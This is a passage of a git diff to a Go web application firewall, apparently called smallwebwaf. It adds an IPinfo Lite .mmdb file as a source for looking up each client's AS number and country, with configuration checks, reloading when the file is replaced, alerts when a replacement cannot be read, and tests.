v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM= +github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U= +github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g= github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= @@ -26,15 +26,17 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc= github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= -github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= -github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= +github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= go.yaml.in/yaml/v2 v2.4.4/go.mod h1:gMZqIpDtDqOfM0uNfy0SkpRhvUryYH0Z6wdMYcacYXQ= -golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= -golang.org/x/sys v0.47.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw= +go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= +go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= +go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= +golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= +golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index 1a453c4..5ce532a 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -49,7 +49,8 @@ const ( // EventSourceFailure is GeoJS failing or refusing smallwebwaf. EventSourceFailure = "source_failure" // EventFileError is a rule file or state file edited while smallwebwaf - // runs that does not parse, or a state file that cannot be written. + // runs that does not parse, a replacement of the lookup database that + // cannot be read, or a state file that cannot be written. EventFileError = "file_error" // EventSummary is the summary of the alerts an hour held back past // SWWAF_ALERT_MAX_PER_HOUR. SWWAF_ALERT_EVENTS does not name it. diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 07a19f5..7317c7e 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -416,10 +416,10 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { } // AddLookup gives the notes of netblock's bans that have no AS number, AS -// name or country yet those of a client in it, as GeoJS answered about -// it. It is not a request from netblock, and leaves when it was last seen -// unchanged. It does not have bans.json written at once: the notes are -// written with its next write, as the counts in them are. +// name or country yet those of a client in it, as the lookup answered +// about it. It is not a request from netblock, and leaves when it was last +// seen unchanged. It does not have bans.json written at once: the notes +// are written with its next write, as the counts in them are. func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) { l.mu.Lock() defer l.mu.Unlock() diff --git a/internal/config/config.go b/internal/config/config.go index 772ec4b..079607b 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -92,12 +92,16 @@ type Config struct { // Each starts with /. RateLimitExemptPaths []string // LookupSource is where each client's AS number and country are - // looked up (SWWAF_LOOKUP_SOURCE): geojs, or off for nowhere. A request - // waits up to LookupTimeout for its client's first answer while a - // setting needs it (SWWAF_LOOKUP_TIMEOUT), which cannot be off. - // AddLookupHeaders is true when the app is passed the client's AS - // number and country in headers (SWWAF_ADD_LOOKUP_HEADERS). + // looked up (SWWAF_LOOKUP_SOURCE): geojs, file, or off for nowhere. + // LookupDBPath is the lookup database, the IPinfo Lite file looked up + // in while LookupSource is file (SWWAF_LOOKUP_DB_PATH), and "" for any + // other source. A request waits up to LookupTimeout for its client's + // first answer from GeoJS while a setting needs it + // (SWWAF_LOOKUP_TIMEOUT), which cannot be off. AddLookupHeaders is true + // when the app is passed the client's AS number and country in headers + // (SWWAF_ADD_LOOKUP_HEADERS). LookupSource string + LookupDBPath string LookupTimeout time.Duration AddLookupHeaders bool // DeniedCountries are the countries whose clients are refused @@ -201,6 +205,10 @@ type Config struct { // off. const off = "off" +// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the +// lookup database, the file SWWAF_LOOKUP_DB_PATH names. +const fileSource = "file" + const ( day = 24 * time.Hour kibibyte = 1 << 10 @@ -242,8 +250,10 @@ var ( "is taken out of every request by Go's HTTP server, so it can never " + "be logged") errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") - errNotLookupSource = errors.New("is not geojs or off") + errNotLookupSource = errors.New("is not geojs, file or off") errNeedsLookups = errors.New("it needs each client looked up") + errNeedsDBPath = errors.New("it names the file to look clients up in") + errDBPathUnused = errors.New("only file reads it") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") errNotDurationAboveZero = errors.New( "is not a duration above zero, such as 1h or 7d") @@ -312,6 +322,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""), LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"), + LookupDBPath: env.value("SWWAF_LOOKUP_DB_PATH", ""), LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "1s"), AddLookupHeaders: env.boolean("SWWAF_ADD_LOOKUP_HEADERS", "false"), DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), @@ -353,6 +364,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg.InstanceName, cfg.LogRemoteURL != nil) env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) + env.checkLookupDBPath(cfg) env.checkCountriesAndLookups(cfg) if env.err != nil { @@ -556,16 +568,30 @@ func (e *environment) countries(name, defaultValue string) []string { } // lookupSource reads the setting that is where clients are looked up: -// geojs, or off. +// geojs, file, or off. func (e *environment) lookupSource(name, defaultValue string) string { source := e.value(name, defaultValue) - if source != "geojs" && source != off { + if source != "geojs" && source != fileSource && source != off { e.check(name, fmt.Errorf("%q %w", source, errNotLookupSource)) } return source } +// checkLookupDBPath refuses SWWAF_LOOKUP_SOURCE=file without +// SWWAF_LOOKUP_DB_PATH, and SWWAF_LOOKUP_DB_PATH with any other source: +// one source at a time. +func (e *environment) checkLookupDBPath(cfg *Config) { + switch { + case cfg.LookupSource == fileSource && cfg.LookupDBPath == "": + e.check("SWWAF_LOOKUP_SOURCE", fmt.Errorf( + "is file while SWWAF_LOOKUP_DB_PATH is unset; %w", errNeedsDBPath)) + case cfg.LookupSource != fileSource && cfg.LookupDBPath != "": + e.check("SWWAF_LOOKUP_DB_PATH", fmt.Errorf( + "is set while SWWAF_LOOKUP_SOURCE is %s; %w", cfg.LookupSource, errDBPathUnused)) + } +} + // checkCountriesAndLookups refuses a country on both country lists, and, // while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked // up: the country lists and SWWAF_ADD_LOOKUP_HEADERS. diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 3ba91f6..e2c59dd 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -41,6 +41,7 @@ const ( rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" lookupSource = "SWWAF_LOOKUP_SOURCE" + lookupDBPath = "SWWAF_LOOKUP_DB_PATH" lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" deniedCountries = "SWWAF_DENIED_COUNTRIES" @@ -123,8 +124,12 @@ const off = "off" // enabled is true, as a setting's value. const enabled = "true" -// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE. -const defaultLookupSource = "geojs" +// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE, and +// fileSource the source that is the lookup database. +const ( + defaultLookupSource = "geojs" + fileSource = "file" +) // environment is a set of environment variables, for FromEnvironment. type environment map[string]string @@ -802,6 +807,47 @@ func TestLookupSettingsAsSet(t *testing.T) { }) } +func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) { + t.Parallel() + + const path = "/var/lib/ipinfo/ipinfo_lite.mmdb" + + cfg := fromEnvironment(t, environment{lookupSource: fileSource, lookupDBPath: path}) + if cfg.LookupSource != fileSource || cfg.LookupDBPath != path { + t.Errorf("lookups from %q in %q, want file in %q", + cfg.LookupSource, cfg.LookupDBPath, path) + } + + for _, tc := range []struct { + env environment + want string + }{ + { + environment{lookupSource: fileSource}, + lookupSource + ": is file while " + lookupDBPath + + " is unset; it names the file to look clients up in", + }, + { + environment{lookupSource: fileSource, lookupDBPath: ""}, + lookupSource + ": is file while " + lookupDBPath + + " is unset; it names the file to look clients up in", + }, + { + environment{lookupDBPath: path}, + lookupDBPath + ": is set while " + lookupSource + " is geojs; only file reads it", + }, + { + environment{lookupSource: off, lookupDBPath: path}, + lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it", + }, + } { + _, err := config.FromEnvironment(tc.env.lookupEnv) + if err == nil || err.Error() != tc.want { + t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want) + } + } +} + func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { t.Parallel() @@ -950,7 +996,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {rateLimitPerHour, "1.5"}, {rateLimitPerDay, "-1"}, {rateLimitPerDay, "lots"}, {rateLimitExemptPaths, "/assets/,,/static/"}, - {lookupSource, "file"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, + {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, {addLookupHeaders, "yes"}, {deniedCountries, "nk"}, @@ -1241,6 +1287,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerDay: "50000", rateLimitExemptPaths: "", lookupSource: defaultLookupSource, + lookupDBPath: "", lookupTimeout: "1s", addLookupHeaders: "false", deniedCountries: "", diff --git a/internal/lookup/file.go b/internal/lookup/file.go new file mode 100644 index 0000000..d81bbeb --- /dev/null +++ b/internal/lookup/file.go @@ -0,0 +1,233 @@ +package lookup + +import ( + "context" + "fmt" + "log/slog" + "net/netip" + "os" + "path/filepath" + "sync" + "time" + + "github.com/fsnotify/fsnotify" + "github.com/oschwald/maxminddb-golang/v2" + + "sneak.berlin/go/smallwebwaf/internal/alerts" +) + +// quietTime is how long the lookup database must go without a change +// before it is read again, so that a file still being copied in is read +// only once whole. +const quietTime = 2 * time.Second + +// FileParams are what OpenFile needs. +type FileParams struct { + // Path is the lookup database, the IPinfo Lite file in its .mmdb form + // (SWWAF_LOOKUP_DB_PATH). + Path string + // Now tells the time, normally time.Now. + Now func() time.Time + // ProcessLog receives each reading of the file, and why a replacement + // of it cannot be read. + ProcessLog *slog.Logger + // Alerts receive a file_error alert for each replacement that cannot + // be read. + Alerts *alerts.Queue +} + +// File looks up clients' AS numbers and countries in the lookup database, +// held in memory, and reads it again when it is replaced. It is safe for +// concurrent use. +type File struct { + params FileParams + + mu sync.Mutex + // reader is the database in use, and lastRead when it was read. + // readFailures are the replacements that could not be read. + reader *maxminddb.Reader + lastRead time.Time + readFailures int +} + +// record is what the lookup database holds about a network, of the fields +// smallwebwaf reads. +type record struct { + ASN string `maxminddb:"asn"` + ASName string `maxminddb:"as_name"` + CountryCode string `maxminddb:"country_code"` +} + +// OpenFile reads the lookup database. A file that cannot be read, or that +// is not a .mmdb file, is an error. +func OpenFile(params FileParams) (*File, error) { + reader, err := read(params.Path) + if err != nil { + return nil, err + } + + f := &File{params: params} + f.use(reader) + + return f, nil +} + +// LookUp returns what the lookup database says about client: its AS +// number, such as AS64496, the AS's name, and its country, such as DE, +// each "" when the database does not give it, as for an address missing +// from it. The database is asked about the client's first address, as +// GeoJS is. +func (f *File) LookUp(client netip.Prefix) Answer { + f.mu.Lock() + reader := f.reader + f.mu.Unlock() + + var found record + + // A record that cannot be decoded places the client nowhere, as a + // missing one does. + err := reader.Lookup(client.Addr()).Decode(&found) + if err != nil { + found = record{} + } + + return Answer{ + Client: client, + ASN: found.ASN, + ASName: found.ASName, + Country: found.CountryCode, + Answered: f.params.Now(), + } +} + +// LastRead returns when the lookup database in use was read. +func (f *File) LastRead() time.Time { + f.mu.Lock() + defer f.mu.Unlock() + + return f.lastRead +} + +// ReadFailures returns how many replacements of the lookup database could +// not be read. +func (f *File) ReadFailures() int { + f.mu.Lock() + defer f.mu.Unlock() + + return f.readFailures +} + +// Watch watches the directory of the lookup database until ctx is done, +// and reads the file again once it has gone without a change for +// quietTime, after it is replaced, written or removed, and after Watch +// starts watching. If the directory cannot be watched, that is logged, and +// the database read at start stays in use. +func (f *File) Watch(ctx context.Context) { + watcher, err := fsnotify.NewWatcher() + if err == nil { + defer func() { + _ = watcher.Close() + }() + + err = watcher.Add(filepath.Dir(f.params.Path)) + } + + if err != nil { + f.params.ProcessLog.Error("cannot watch the lookup database for replacements", + "error", err.Error()) + + return + } + + f.params.ProcessLog.Info("watching the lookup database for replacements", + "file", f.params.Path) + + f.readAfterChanges(ctx, watcher.Events, watcher.Errors) +} + +// readAfterChanges reads the lookup database again once quietTime has +// passed without a change to it from events, until ctx is done, and logs +// the errors from errs. A change to another file in its directory does not +// count. The wait starts at once, as if for a change, so that a file +// replaced after OpenFile read it, and before its directory was watched, +// is read too. +func (f *File) readAfterChanges( + ctx context.Context, events <-chan fsnotify.Event, errs <-chan error, +) { + path := filepath.Clean(f.params.Path) + + quiet := time.NewTimer(quietTime) + defer quiet.Stop() + + for { + select { + case <-ctx.Done(): + return + case event := <-events: + if filepath.Clean(event.Name) == path { + quiet.Reset(quietTime) + } + case <-quiet.C: + f.readAgain() + case err := <-errs: + f.params.ProcessLog.Warn("watching the lookup database failed", + "error", err.Error()) + } + } +} + +// readAgain reads the lookup database again, in place of the one in use, +// or, if it cannot be read, counts that, raises a file_error alert for it +// and logs it, and the one in use stays in use. +func (f *File) readAgain() { + reader, err := read(f.params.Path) + if err != nil { + const kept = "the lookup database cannot be read, " + + "and the one read before stays in use" + + f.mu.Lock() + f.readFailures++ + f.mu.Unlock() + + // Raised before it is logged, so that the alert is there once the + // log line is. + f.params.Alerts.Raise(alerts.Alert{ + Event: alerts.EventFileError, + Reason: kept, + Detail: map[string]any{"file": f.params.Path, "error": err.Error()}, + }) + f.params.ProcessLog.Error(kept, "error", err.Error()) + + return + } + + f.use(reader) +} + +// use puts reader in use, in place of the database read before, and logs +// that the file was read. +func (f *File) use(reader *maxminddb.Reader) { + f.mu.Lock() + f.reader = reader + f.lastRead = f.params.Now() + f.mu.Unlock() + + f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path) +} + +// read reads the lookup database at path. The whole file is read into +// memory, rather than mapped into it as the reader can, so that a file +// overwritten in place cannot change, or end, under a lookup. +func read(path string) (*maxminddb.Reader, error) { + data, err := os.ReadFile(path) //nolint:gosec // the file the admin names + if err != nil { + return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err) + } + + reader, err := maxminddb.OpenBytes(data) + if err != nil { + return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err) + } + + return reader, nil +} diff --git a/internal/lookup/file_internal_test.go b/internal/lookup/file_internal_test.go new file mode 100644 index 0000000..307b566 --- /dev/null +++ b/internal/lookup/file_internal_test.go @@ -0,0 +1,379 @@ +package lookup + +import ( + "context" + "log/slog" + "net/netip" + "net/url" + "os" + "path/filepath" + "reflect" + "testing" + "testing/synctest" + "time" + + "github.com/fsnotify/fsnotify" + "github.com/maxmind/mmdbwriter/mmdbtype" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" +) + +// testNetblock is the netblock the tests' lookup databases place, and +// testClient a client in it. +const ( + testNetblock = "203.0.113.0/24" + testClient = "203.0.113.9/32" +) + +func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) { + t.Parallel() + + germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"} + northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"} + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + lookuptest.Write(t, path, map[string]lookuptest.Network{ + testNetblock: germany, + "2001:db8::/32": northKorea, + }) + + now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC) + + f, err := OpenFile(FileParams{ + Path: path, + Now: func() time.Time { return now }, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: newQueue(), + }) + if err != nil { + t.Fatalf("open %s: %v", path, err) + } + + for client, want := range map[string]lookuptest.Network{ + testClient: germany, + // An IPv6 client is its /64. + "2001:db8:1:2::/64": northKorea, + "198.51.100.7/32": {}, + } { + prefix := netip.MustParsePrefix(client) + + got := f.LookUp(prefix) + if got != (Answer{ + Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, + Answered: now, + }) { + t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now) + } + } +} + +func TestRecordThatCannotBeReadPlacesTheClientNowhere(t *testing.T) { + t.Parallel() + + // The AS number is a number, where a string belongs. The writer writes + // a record's fields in the order of their names, so as_name is read + // before the AS number fails. + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + lookuptest.WriteRecords(t, path, map[string]mmdbtype.Map{ + testNetblock: { + "asn": mmdbtype.Uint32(64496), + "as_name": mmdbtype.String("Example Net"), + "country_code": mmdbtype.String("DE"), + }, + }) + + f := openFile(t, path, newQueue()) + + answer := f.LookUp(netip.MustParsePrefix(testClient)) + if answer.ASN != "" || answer.ASName != "" || answer.Country != "" { + t.Errorf("%s is placed %+v, want nowhere", testClient, answer) + } +} + +func TestFileThatCannotBeReadIsAnError(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + missing := filepath.Join(dir, "missing.mmdb") + notDatabase := filepath.Join(dir, "not.mmdb") + writeFile(t, notDatabase, "not a lookup database\n") + + for path, want := range map[string]string{ + missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing + + ": no such file or directory", + notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase + + " is not a .mmdb file: error opening database: invalid MaxMind DB file", + } { + _, err := OpenFile(FileParams{ + Path: path, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: newQueue(), + }) + if err == nil || err.Error() != want { + t.Errorf("opening %s failed with %v, want %s", path, err, want) + } + } +} + +// The tests below run readAfterChanges in a synctest bubble, where time is +// a clock of the test's own: time.Sleep moves it on at once, and +// synctest.Wait returns once readAfterChanges waits again, so that every +// reading due by then is done. The test sends the changes itself, as the +// watch of a directory cannot run in a bubble. + +func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "ipinfo_lite.mmdb") + writeDatabase(t, path, "DE") + + queue := newQueue() + f := openFile(t, path, queue) + changes := watch(t, f) + + other := filepath.Join(dir, "replacement.mmdb") + writeDatabase(t, other, "KP") + + replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote + if err != nil { + t.Fatalf("read %s: %v", other, err) + } + + // The file in use is overwritten in place, and keeps giving what + // it gave. Its first part alone is not a .mmdb file. + file, err := os.Create(path) //nolint:gosec // a file the test wrote + if err != nil { + t.Fatalf("create %s: %v", path, err) + } + + defer func() { + _ = file.Close() + }() + + half := len(replacement) / 2 + write(t, file, replacement[:half]) + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + time.Sleep(quietTime - time.Nanosecond) + synctest.Wait() + wantCountry(t, f, "DE") + + // The second part starts the wait again. + write(t, file, replacement[half:]) + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + time.Sleep(quietTime - time.Nanosecond) + synctest.Wait() + wantCountry(t, f, "DE") + + time.Sleep(time.Nanosecond) + synctest.Wait() + wantCountry(t, f, "KP") + + if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { + t.Errorf("read at %s, with %d failures; want read now, with none", + f.LastRead(), f.ReadFailures()) + } + + wantAlerts(t, queue) + }) +} + +func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + writeDatabase(t, path, "DE") + + queue := newQueue() + f := openFile(t, path, queue) + read := f.LastRead() + changes := watch(t, f) + + writeFile(t, path, "not a lookup database\n") + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + // Long after, the replacement has been read once. + time.Sleep(time.Hour) + synctest.Wait() + wantCountry(t, f, "DE") + + if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { + t.Errorf("read at %s, with %d failures; want read at %s, with one", + f.LastRead(), f.ReadFailures(), read) + } + + wantAlerts(t, queue, alerts.Alert{ + Time: read.Add(quietTime), + Event: alerts.EventFileError, + Reason: "the lookup database cannot be read, and the one read before stays in use", + Detail: map[string]any{ + "file": path, + "error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " + + "error opening database: invalid MaxMind DB file", + }, + }) + }) +} + +func TestChangeOfAnotherFileInTheDirectoryIsNoReplacement(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, "ipinfo_lite.mmdb") + writeDatabase(t, path, "DE") + + f := openFile(t, path, newQueue()) + changes := watch(t, f) + + // The wait that starts with the watch ends with a reading. + time.Sleep(quietTime) + synctest.Wait() + writeDatabase(t, path, "KP") + + changes <- fsnotify.Event{Name: filepath.Join(dir, "other.mmdb"), Op: fsnotify.Create} + + time.Sleep(quietTime) + synctest.Wait() + wantCountry(t, f, "DE") + + changes <- fsnotify.Event{Name: path, Op: fsnotify.Write} + + time.Sleep(quietTime) + synctest.Wait() + wantCountry(t, f, "KP") + }) +} + +func TestReplacementSavedBeforeTheWatchStartsIsRead(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + writeDatabase(t, path, "DE") + + f := openFile(t, path, newQueue()) + + // Saved after OpenFile read the file, and before its directory was + // watched, so that no change is seen for it. + writeDatabase(t, path, "KP") + watch(t, f) + time.Sleep(quietTime) + synctest.Wait() + wantCountry(t, f, "KP") + }) +} + +// newQueue returns a queue of alerts for a webhook that is never sent +// them, so that they wait in it for the test to look at. +func newQueue() *alerts.Queue { + return alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + Now: time.Now, + }) +} + +// writeDatabase writes a lookup database at path that places testNetblock +// in country, and no other address. +func writeDatabase(t *testing.T, path, country string) { + t.Helper() + + lookuptest.Write(t, path, map[string]lookuptest.Network{ + testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country}, + }) +} + +// openFile opens the lookup database at path, which raises its alerts to +// queue. +func openFile(t *testing.T, path string, queue *alerts.Queue) *File { + t.Helper() + + f, err := OpenFile(FileParams{ + Path: path, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: queue, + }) + if err != nil { + t.Fatalf("open %s: %v", path, err) + } + + return f +} + +// watch runs f's readAfterChanges until the test ends, and returns the +// channel that sends it changes. +func watch(t *testing.T, f *File) chan<- fsnotify.Event { + t.Helper() + + changes := make(chan fsnotify.Event) + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + f.readAfterChanges(ctx, changes, nil) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) + + return changes +} + +// wantCountry checks the country f gives testClient. +func wantCountry(t *testing.T, f *File, want string) { + t.Helper() + + got := f.LookUp(netip.MustParsePrefix(testClient)).Country + if got != want { + t.Errorf("%s is in %q, want %q", testClient, got, want) + } +} + +// wantAlerts checks the alerts waiting in queue, and that it held none +// back. +func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) { + t.Helper() + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) { + t.Errorf("alerts waiting %+v, want %+v", waiting, want) + } + + if queue.Suppressed() != 0 { + t.Errorf("%d alerts held back, want none", queue.Suppressed()) + } +} + +// writeFile writes content to the file at path. +func writeFile(t *testing.T, path, content string) { + t.Helper() + + err := os.WriteFile(path, []byte(content), 0o600) + if err != nil { + t.Fatalf("write %s: %v", path, err) + } +} + +// write writes data to the end of file. +func write(t *testing.T, file *os.File, data []byte) { + t.Helper() + + _, err := file.Write(data) + if err != nil { + t.Fatalf("write: %v", err) + } +} diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index 0297dac..b4b5006 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -1,6 +1,7 @@ -// Package lookup looks up each client's AS number and country through -// the GeoJS web service, and keeps the answers in memory, for at most -// 100,000 clients and for 7 days each. The answers are written to +// Package lookup looks up each client's AS number and country, through +// the GeoJS web service or in the lookup database, the IPinfo Lite file +// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at +// most 100,000 clients and for 7 days each, and are written to // lookups.json and read from it by the state package. package lookup @@ -113,11 +114,12 @@ type GeoJS struct { retryAt time.Time } -// Answer is what GeoJS said about a client, as lookups.json holds it: its -// AS number, such as AS64496, and the AS's name, both "" when GeoJS knows -// no AS number for it; its country, "" when GeoJS cannot place it; when -// GeoJS said so, and when the answer was last used. The zero Answer is -// that of a client with no answer. +// Answer is what GeoJS or the lookup database said about a client: its AS +// number, such as AS64496, and the AS's name, both "" when the source knows +// no AS number for it; its country, "" when the source cannot place it; +// when the source said so; and, for GeoJS's answers, which lookups.json +// holds, when the answer was last used. The zero Answer is that of a 